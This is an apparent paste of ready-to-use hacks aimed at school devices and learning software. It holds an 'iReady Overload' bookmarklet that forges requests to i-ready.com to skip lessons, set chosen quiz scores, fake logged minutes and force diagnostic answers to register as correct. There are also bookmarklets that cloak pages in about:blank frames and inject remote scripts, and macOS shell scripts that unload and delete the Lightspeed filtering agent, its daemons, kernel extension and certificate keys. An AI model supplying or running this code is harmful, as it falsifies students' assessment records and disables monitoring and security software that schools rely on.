javascript:
var UI=document.createElement("div");UI.innerHTML='<div id="overloadPanel" style="width:300px; left: 1px; top: 1px; background-color: #282828; color: white; outline: white solid 1px; position:absolute; z-index: 99999;"><h1 style="font-size: 32px;">iReady Overload</h1><br><i>Press ctrl to hide or show this panel at any time.</i>\t<br><br><h2 style="font-size: 25px; font-style: normal !important; color: white !important;">Lesson Skipper</h2><button onclick="skipLesson()">Skip current lesson</button><br><br><h2 style="font-size: 25px; font-style: normal !important; color: white !important;">Minutes Hack</h2><button onclick="farmMinutes(this)">Farm minutes</button> <br><br><h2 style="font-size: 25px; font-style: normal !important; color: white !important;">Diagnostic Hack</h2><button onclick="diagnosticHack(this)">Enable hack</button><br><br><br><hr>This tool was created by <a href="https://github.com/ArjhanToteck/iReady-Overload">ArjhanToteck</a>.<br><br></div>';var functionsScript=document.createElement("script");function dragElement(e){var t=0,o=0,n=0,s=0;function i(e){(e=e||window.event).preventDefault(),n=e.clientX,s=e.clientY,document.onmouseup=a,document.onmousemove=r}function r(i){(i=i||window.event).preventDefault(),t=n-i.clientX,o=s-i.clientY,n=i.clientX,s=i.clientY,e.style.top=e.offsetTop-o+"px",e.style.left=e.offsetLeft-t+"px"}function a(){document.onmouseup=null,document.onmousemove=null}document.getElementById(e.id+"header")?document.getElementById(e.id+"header").onmousedown=i:e.onmousedown=i}function skipLesson(){if(window.html5Iframe||window.closereading_lesson){var e;"closereading_lesson"==document.getElementsByTagName("iframe")[0].id?(closereading_lesson.contentDocument.getElementsByClassName("button fa fa-play pulse")[0]&&closereading_lesson.contentDocument.getElementsByClassName("button fa fa-play pulse")[0].click(),e=closereading_lesson.src.split("?csid=")[1].split("#")[0]):e=html5Iframe.src.split("?csid=")[1].split("&type")[0];var t=e.includes("10_")&&"closereading_lesson"!=document.getElementsByTagName("iframe")[0].id?null:prompt("Quiz detected. What score would you like (out of 100)?",100),o=e.includes("10_")&&"closereading_lesson"!=document.getElementsByTagName("iframe")[0].id?null:`{"score":${t}}`;fetch("https://login.i-ready.com/student/lesson/componentCompleted",{headers:{accept:"*/*","accept-language":"en-US,en;q=0.9","content-type":"application/json;charset=UTF-8","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"same-origin","sec-gpc":"1"},referrer:"https://login.i-ready.com/student/dashboard/home",referrerPolicy:"strict-origin-when-cross-origin",body:`{"componentStatusId":"${e}","instructionLessonOutcome":${o}}`,method:"POST",mode:"cors",credentials:"include"}),alert("Close the lesson/quiz and you should see it was skipped.")}else alert("You do not have a lesson currently open. You must open a lesson to skip it.")}function farmMinutes(e){if(minuteFarming&&(t=getCookie("csid"),fetch(`https://login.i-ready.com/student/v1/web/lesson_component/${t}?action=pause`,{headers:{accept:"application/json, text/plain, */*","accept-language":"en-US,en;q=0.9","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"same-origin"},referrer:"https://login.i-ready.com/student/dashboard/home",referrerPolicy:"strict-origin-when-cross-origin",body:null,method:"GET",mode:"cors",credentials:"include"}),document.cookie='csid=; expires=Thu, 18 Dec 1970 12:00:00 UTC"',e.innerText="Farm minutes",minuteFarming=!1,alert("The minutes should now be in your account.")),window.html5Iframe){var t=html5Iframe.src.split("?csid=")[1].split("&type")[0];document.cookie=`csid=${t}; expires=Thu, 18 Dec 2999 12:00:00 UTC"`,document.cookie='minutes=45; expires=Thu, 18 Dec 2999 12:00:00 UTC"',alert("Neccessary data to farm minutes have now been collected. To begin farming minutes, go to the iReady menu by closing this lesson/quiz. Then, press this button again.")}else getCookie("csid")?(t=getCookie("csid"),fetch(`https://login.i-ready.com/student/v1/web/lesson_component/${t}?action=resume`,{headers:{accept:"application/json, text/plain, */*","accept-language":"en-US,en;q=0.9","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"same-origin"},referrer:"https://login.i-ready.com/student/dashboard/home",referrerPolicy:"strict-origin-when-cross-origin",body:null,method:"GET",mode:"cors",credentials:"include"}),minuteFarming=!0,e.innerText="Stop farming minutes",alert('The minute farming proccess has now begun. Do not close this page. Do not turn off your computer. After you press "ok," every minute that passes will be added to your account. When you want to stop the timer and add the farmed minutes to your account, press the button labeled "Stop farming minutes". Press "ok" to begin.')):alert("You do not have a lesson currently open. You must open a lesson to begin the proccess.")}function diagnosticHack(e){if(XMLHttpRequest.prototype.realSend)XMLHttpRequest.prototype.send=XMLHttpRequest.prototype.realSend,XMLHttpRequest.prototype.realSend=void 0,alert("Hack was disabled."),e.innerText="Enable hack";else if("undefined"==typeof diagnosticIFrame)alert("Diagnostic not detected. Open the diagnostic first to use the hack.");else if(!XMLHttpRequest.prototype.realSend){XMLHttpRequest.prototype.realSend=XMLHttpRequest.prototype.send,XMLHttpRequest.prototype.send=function(e){newBody=JSON.parse(e),0==newBody.correct&&(newBody.correct=!0),null!=newBody.durationSeconds&&(newBody.durationSeconds=1e3),this.realSend(JSON.stringify(newBody))},alert("Hack was enabled. All answers inputted in diagnostic will be correct. Please do not answer questions too fast or your test will be marked as rushed."),e.innerText="Disable hack"}}function getCookie(e){for(var t=e+"=",o=decodeURIComponent(document.cookie).split(";"),n=0;n<o.length;n++){for(var s=o[n];" "==s.charAt(0);)s=s.substring(1);if(0==s.indexOf(t))return s.substring(t.length,s.length)}return""}functionsScript.innerHTML=`var minuteFarming = false; ${skipLesson.toString()} \n ${farmMinutes.toString()} \n ${diagnosticHack.toString()} \n ${getCookie.toString()} document.addEventListener('keydown', function(e){ if (event.ctrlKey && "z"){ if(overloadPanel.style.display == "block"){ overloadPanel.style.display = "none"; } else { overloadPanel.style.display = "block"; } } });\n`,document.body.appendChild(functionsScript),dragElement(UI.firstElementChild),document.body.appendChild(UI);
javascript: (function () {var url = prompt("Paste the link you want to be embedded into an about:blank page.", "ex. https://example.com"); var urlObj = new window.URL(window.location.href); win = window.open(); win.document.body.style.margin = "0"; win.document.body.style.height = "100vh"; var iframe = win.document.createElement("iframe"); iframe.style.border = "none"; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.margin = "0"; iframe.referrerpolicy = "no-referrer"; iframe.allow = "fullscreen"; iframe.src = url.toString(); win.document.body.appendChild(iframe); var script = win.document.createElement("script"); script.src = "https://3kh0.github.io/js/main.js"; win.document.body.appendChild(script); })();
http://webcache.googleusercontent.com/search?q=cache:PUT WEBSITE HERE!
javascript:(function()%7B(function() %7Blet x %3D document.createElement("script")%3Bx.src %3D "https%3A%2F%2Fcdn.jsdelivr.net%2Fgh%2FSnowLord7%2Fquizlet%40master%2Findex.js"%3Bx.onload %3D function () %7B x.remove()%3B %7D%3Bdocument.body.appendChild(x)%3B%7D)()%7D)()
javascript:var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.arrayIteratorImpl=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};$jscomp.arrayIterator=function(a){return{next:$jscomp.arrayIteratorImpl(a)}};$jscomp.makeIterator=function(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):$jscomp.arrayIterator(a)};
(function(){if(0!==document.querySelector("#player-unavailable").getBoundingClientRect().width){var a=window.location.toString();a=a.replace("youtube","youpak");a=a.replace("/watch","/embed");a+="&autoplay=true";for(var b=$jscomp.makeIterator(document.querySelectorAll("#player-unavailable > *")),c=b.next();!c.done;c=b.next())c.value.remove();document.querySelector("#player-unavailable").insertAdjacentHTML("afterbegin",'<iframe style="width: 100%; height: 100%" src="'+a.toString()+'" frameborder="0" allowfullscreen></iframe>')}})();
javascript:(function()%7B(function() %7Bvar x %3D document.createElement("script")%3Bx.src %3D "https%3A%2F%2Fcdn.jsdelivr.net%2Fgh%2FSnowLord7%2Fdevconsole%40master%2Fmain.js"%3Bx.onload %3D alert("Loaded Developer Console!")%3Bdocument.head.appendChild(x)%3B%7D)()%7D)()
javascript: (function() { var clickerIsMouseDown = false; var clickerCurrentMouseTarget = document.body; document.body.addEventListener('mouseup', () => { clickerIsMouseDown = false; }); document.body.addEventListener('mousedown', () => { clickerIsMouseDown = true; }); document.body.addEventListener('mousemove', (e) => { clickerCurrentMouseTarget = e.target }); setInterval(() => { if (clickerIsMouseDown) clickerCurrentMouseTarget.click(); }, 0); })();
Make file named FasterThanLight.sh and paste this code into it
#!/bin/sh
# Function to show a pop-up message requiring manual dismissal
show_popup() {
osascript <<EOF
tell application "System Events"
display dialog "$1" with title "Faster Than Light" buttons {"OK"} default button "OK"
end tell
EOF
}
# Function to show a macOS notification
show_notification() {
osascript -e "display notification \"$1\" with title \"Faster Than Light\""
}
# Function to display a dialog box and capture user selection
show_menu() {
osascript <<EOF
tell application "System Events"
set userChoice to button returned of (display dialog "What would you like to do?" with title "Faster Than Light" buttons {"Disable Lightspeed", "Enable Lightspeed", "Exit"} default button "Disable Lightspeed")
end tell
return userChoice
EOF
}
# Show the main menu and capture the response
response=$(show_menu)
# Handle user selection
case $response in
"Disable Lightspeed")
show_notification "Disabling Lightspeed services..."
/Applications/Lightspeed\ Agent.app/Contents/MacOS/Lightspeed\ Agent -h
sleep 2
show_notification "Stopping Lightspeed services..."
launchctl unload /Library/LaunchDaemons/com.lightspeedsystems.*
sleep 2
show_popup "🔔✓ Lightspeed has been successfully disabled."
;;
"Enable Lightspeed")
show_notification "Starting Lightspeed services..."
/Applications/Lightspeed\ Agent.app/Contents/MacOS/Lightspeed\ Agent & agent_pid="$!"
sleep 3
show_notification "Configuring Lightspeed services..."
kill -9 $agent_pid
launchctl start /Library/LaunchDaemons/com.lightspeedsystems.*
sleep 2
show_popup "🔔✓ Lightspeed has been enabled. Please restart for full effect."
;;
"Exit")
show_notification "Exiting program..."
show_popup "Exiting program. No changes made."
exit 0
;;
*)
show_notification "Invalid option selected. Exiting."
exit 1
;;
esac
After that run it with the terminal ./FasterThanLight.sh
MACOS paste in terminal:
#!/bin/zsh
# Mac Mobile Filter removal script
# Copyright Lightspeed Systems 2013
# Modified by Nathaniel Strauss 2020 because yikes
if [[ $EUID != 0 ]] ; then
echo "Must be run as root or via sudo"
exit 1
fi
# Unload launch daemons
launchctl unload /Library/LaunchDaemons/com.lightspeedsystems.lsproxy.plist > /dev/null 2>&1
launchctl unload /Library/LaunchDaemons/com.lightspeedsystems.mobilefilter.plist > /dev/null 2>&1
launchctl unload /Library/LaunchDaemons/com.lightspeedsystems.proxyforce.plist > /dev/null 2>&1
launchctl unload /Library/LaunchDaemons/com.lightspeedsystems.smartagentjs.plist > /dev/null 2>&1
# Delete launch daemons
rm -rf /Library/LaunchDaemons/com.lightspeedsystems.lsproxy.plist > /dev/null 2>&1
rm -rf /Library/LaunchDaemons/com.lightspeedsystems.mobilefilter.plist > /dev/null 2>&1
rm -rf /Library/LaunchDaemons/com.lightspeedsystems.proxyforce.plist > /dev/null 2>&1
rm -rf /Library/LaunchDaemons/com.lightspeedsystems.smartagentjs.plist > /dev/null 2>&1
# Unload agent associated processes and kernel extension
/usr/local/bin/cagen unload > /dev/null 2>&1
/usr/local/bin/mobilefilter -unload > /dev/null 2>&1
/usr/local/bin/proxyforce unload > /dev/null 2>&1
/sbin/kextunload -b com.lightspeedsystems.kext.MobileFilterKext
# Remove smart agent files
rm /usr/local/bin/cagen > /dev/null 2>&1
rm /usr/local/etc/ca_key.pem > /dev/null 2>&1
rm /usr/local/etc/ca.pem > /dev/null 2>&1
rm /usr/local/bin/com.lightspeedsystems.restartservices.plist > /dev/null 2>&1
rm /usr/local/bin/LightspeedSmartAgentCopyrights.rtf > /dev/null 2>&1
rm /usr/local/bin/lsproxy > /dev/null 2>&1
rm /usr/local/bin/makeca > /dev/null 2>&1
rm /usr/local/bin/mobilefilter > /dev/null 2>&1
rm /usr/local/bin/mobilefilterupdatekext > /dev/null 2>&1
rm /usr/local/bin/mobilefilterupdate > /dev/null 2>&1
rm /usr/local/bin/mobilefilterupdatecopy > /dev/null 2>&1
rm /usr/local/bin/proxyforce > /dev/null 2>&1
rm -rf /usr/local/bin/SmartAgentJS > /dev/null 2>&1
rm /usr/local/etc/ca_key.pem > /dev/null 2>&1
rm /usr/local/etc/ca.pem > /dev/null 2>&1
rm /usr/local/etc/localhost_key.pem > /dev/null 2>&1
rm /usr/local/etc/localhost.pem > /dev/null 2>&1
rm /usr/local/etc/SmartAgentUpdate.dmg > /dev/null 2>&1
# Remove kext
rm -rf /Library/Extensions/MobileFilterKext.kext > /dev/null 2>&1